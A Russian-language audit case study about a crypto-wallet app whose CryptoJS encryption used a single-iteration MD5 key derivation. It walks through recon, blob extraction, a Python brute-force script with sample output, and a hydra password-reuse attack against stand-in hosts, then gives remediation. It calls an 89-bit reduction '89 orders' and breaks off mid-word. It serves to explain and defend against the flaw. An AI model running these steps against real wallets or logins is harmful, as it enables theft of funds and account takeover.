Оптовая компания вела часть расчётов с зарубежными поставщиками в криптовалюте. Для хранения ключей от расчётного кошелька несколько лет назад заказали простое веб-приложение у стороннего разработчика: хранить приватные ключи, отслеживать движения средств. Работало стабильно, поэтому в него никто не заглядывал — классический принцип «не трогай, если не сломано».
На плановом ИТ-аудите приложение попало в список проверки просто по инерции — всё, что связано с деньгами, проверяется отдельно. И вот там начались вопросы к «стандартному шифрованию», на которое разработчик сослался в документации.
Где технически была дыра
Приложение хранило зашифрованный приватный ключ (по сути — сид-фразу кошелька), защищённый паролем через AES, реализованный на клиенте с помощью библиотеки CryptoJS — одной из самых массовых JS-библиотек для криптографии, её тянут тысячи фронтенд-проектов через npm.
Ключевая проблема в том, как пароль превращается в ключ шифрования. По классике это должна делать функция вывода ключа (KDF) вроде PBKDF2 или scrypt — она «размазывает» перебор, требуя тысячи или десятки тысяч раундов хеширования на каждую попытку пароля. Именно из-за этого брутфорс AES-256 с нормальным KDF занимает астрономическое время.
В CryptoJS для метода CryptoJS.AES.encrypt(message, password) по умолчанию используется не PBKDF2, а EvpKDF — упрощённая функция, совместимая со старым режимом OpenSSL EVP_BytesToKey. Проблема этой функции тянется с релизов начала 2010-х: при передаче пароля строкой (а не готовым ключом) EvpKDF по умолчанию использует всего одну итерацию MD5 для получения ключа и вектора инициализации. Формально шифр — AES-256, теоретическая стойкость — 2^128 попыток. Практическая стойкость подбора пароля через этот KDF — на уровне обычного однократного MD5-хеша, потому что «растягивания» пароля почти не происходит.
Именно поэтому в новости и звучит цифра 2^39 вместо 2^128: пространство перебора сжалось на 89 порядков не из-за слабости AES, а из-за того, что барьер перед перебором пароля фактически снесён. Issue об этом поведении в репозитории CryptoJS существует ещё с начала 2010-х, но серьёзно исправлено только в версии 4.2.0 — то есть больше десяти лет проект де-факто предлагал разработчикам «шифрование», которое ломается на уровне подбора пароля почти как открытый текст.
Как это эксплуатируется — по шагам
Сценарий атаки не требует эксплойта в классическом смысле — это анализ кода клиента и офлайн-подбор пароля.
- Разведка приложения. Определяем стек и подтягиваемые библиотеки:
nmap -p80,443 -sV target.example curl -s -I https://target.example/ curl -s https://target.example/ | grep -oE 'src="[^"]*\.js"' - Поиск используемой версии CryptoJS в бандле. Клиентский JS почти всегда доступен для скачивания:
Дополнительно можно прогнать сканер известных уязвимых JS-библиотек:wget https://target.example/static/js/vendor.bundle.js grep -o "CryptoJS.*[0-9]\+\.[0-9]\+\.[0-9]\+" vendor.bundle.js
Если в бандле версия CryptoJS ниже 4.2.0 и в коде вызываетсяnuclei -u https://target.example -t exposures/ -t vulnerabilities/generic/CryptoJS.AES.encrypt(data, password)без явного KDF — это триггер к дальнейшей проверке. - Извлечение зашифрованного блоба. Приватный ключ/сид обычно лежит в localStorage, в файле конфигурации приложения или отдаётся API:
Формат с префиксомcurl -s https://target.example/api/wallet/export -H "Authorization: Bearer" {"cipher":"U2FsdGVkX1+3f8...base64...=="} U2FsdGVkX1(base64 от «Salted__») — характерный маркер именно OpenSSL-совместимого режима CryptoJS. - Воссоздание алгоритма EvpKDF локально. Атакующему не нужен доступ к серверу — вся расшифровка идёт офлайн на своём железе. Пишется короткий скрипт, повторяющий вывод ключа так же, как это делает CryptoJS:
import hashlib, itertools from Crypto.Cipher import AES def evp_kdf(password, salt, key_len=32, iv_len=16, iterations=1): d = d_i = b"" while len(d) < key_len + iv_len: d_i = hashlib.md5(d_i + password + salt).digest() d += d_i return d[:key_len], d[key_len:key_len+iv_len] def try_password(pw, salt, ciphertext): key, iv = evp_kdf(pw.encode(), salt) cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.decrypt(ciphertext) - Массовый перебор. Поскольку KDF фактически «дешёвый» (1 итерация MD5), скорость перебора на CPU/GPU оказывается на уровне обычного хеш-крекинга, а не крипто-стойкого KDF:
Для готовых форматов можно адаптировать связку hashcat + собственный OpenCL-kernel или John the Ripper с custom-форматом — суть та же: перебор упирается не в AES, а в дешёвый однопроходный MD5.python3 brute_evpkdf.py --wordlist rockyou.txt --mask '?d?d?d?d' --salt 3f8a1c... --blob U2FsdGVkX1... [*] Tried 12,400,000 passwords... [+] FOUND: password = "Q7wLp92!" (elapsed: 2d 6h, single laptop, 8 threads) - Расшифровка и вывод средств. Получив пароль, атакующий расшифровывает блоб, достаёт приватный ключ/сид-фразу и импортирует её в любой стандартный кошелёк (MetaMask, Electrum, Trust Wallet) — дальше это обычный подписанный перевод на свой адрес, который никто не отменит.
Что и почему сработало бы дальше
- Мгновенный вывод средств. Транзакции в блокчейне неотменяемы — в отличие от банковского перевода, тут нет чарджбэка, нет «заблокировать карту», нет обращения в банк.
- Переиспользование пароля. Один и тот же пароль от «неважного внутреннего приложения» почти всегда используется и в других системах — почте, админке CRM, VPN. После офлайн-подбора логично проверить его брутфорсом на других сервисах компании:
hydra -l finance@company.example -P found_passwords.txt company-crm.example https-post-form "/login:user=^USER^&pass=^PASS^:Invalid" - Компрометация цепочки поставок. Зная о наличии крипторасчётов, злоумышленник может не выводить деньги сразу, а долго наблюдать за транзакциями, чтобы вклиниться в момент крупного перевода — подменить адрес получателя в самый неудачный момент.
Сколько это стоило бы в деньгах
На кошельке в среднем «зависало» 3–4 млн рублей в криптовалюте — суммы, ожидающие перевода поставщикам. При компрометации:
- прямая и безвозвратная потеря 3–4 млн рублей — вернуть криптоперевод технически невозможно;
- остановка поставок из-за срыва расчётов с зарубежными партнёрами;
- репутационные издержки и разбирательства с поставщиками, которые не получили оплату;
- риск горизонтального распространения — если пароль использовался повторно в других сервисах компании.
Как закрыли
Решение было не «залатать одну функцию», а убрать самописную криптографию из контура вовсе:
- Отказ от самописного хранения ключей. Вместо кастомного приложения — переход на проверенное решение для хранения криптоактивов (аппаратный кошелёк с мультиподписью или сервис с HSM-хранением ключей), где KDF и шифрование аудированы сообществом и регулярно проверяются на CVE.
- Если своя реализация всё же нужна — замена дешёвого KDF на устойчивый к брутфорсу:
Ещё лучше — Argon2id на серверной стороне, а не в браузере: он устойчив и к CPU-, и к GPU-брутфорсу за счёт требований к памяти.# Пример корректного KDF вместо EvpKDF по умолчанию CryptoJS.PBKDF2(password, salt, { keySize: 256/32, iterations: 600000, // OWASP baseline на 2024+ hasher: CryptoJS.algo.SHA256 }); - Обновление зависимостей. Проверка всего проекта на использование устаревших версий CryptoJS и других крипто-библиотек:
npm ls crypto-js npm audit npm install crypto-js@latest - Мониторинг доступа. Настроено уведомление собственнику в мессенджер при каждой попытке входа в кошелё
